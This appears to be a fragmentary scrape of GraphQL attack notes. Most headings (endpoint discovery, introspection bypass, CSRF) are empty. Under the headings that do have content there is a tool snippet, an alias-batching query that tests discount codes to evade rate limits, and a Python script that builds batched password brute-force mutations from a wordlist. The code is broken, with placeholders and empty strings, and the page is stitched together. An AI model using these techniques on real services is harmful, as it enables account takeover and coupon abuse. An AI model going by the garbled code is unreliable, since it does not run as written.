GraphQL Attacks

Automatic Exploitation

response, error = await self.graphql_query(query)
        
if os.path.exists("schema.json"):
    with open("schema.json", "r") as f:
        response = json.load(f)
        schema_data = response.get("data", {}).get("__schema")
elif error or not response:

Finding GraphQL Endpoints

Exploiting Unsanitized Arguments

Discovering Schema Information

Bypassing Introspection Defenses

Bypassing Rate Limiting

query isValidDiscount($code: Int) {
    isvalidDiscount(code:$code){
        valid
    }
    isValidDiscount2:isValidDiscount(code:$code){
        valid
    }
    isValidDiscount3:isValidDiscount(code:$code){
        valid
    }
}
import json
with open("wordlist.txt") as f:
    passwords = [line.strip() for line in f]
mutations = "\n".join(
    f'bruteforce{i}: [function](input: ) '
    for i, pw in enumerate(passwords)
)

graphql_query = {
    "query": f"mutation "
}

print(json.dumps(graphql_query, indent=2))

GraphQL CSRF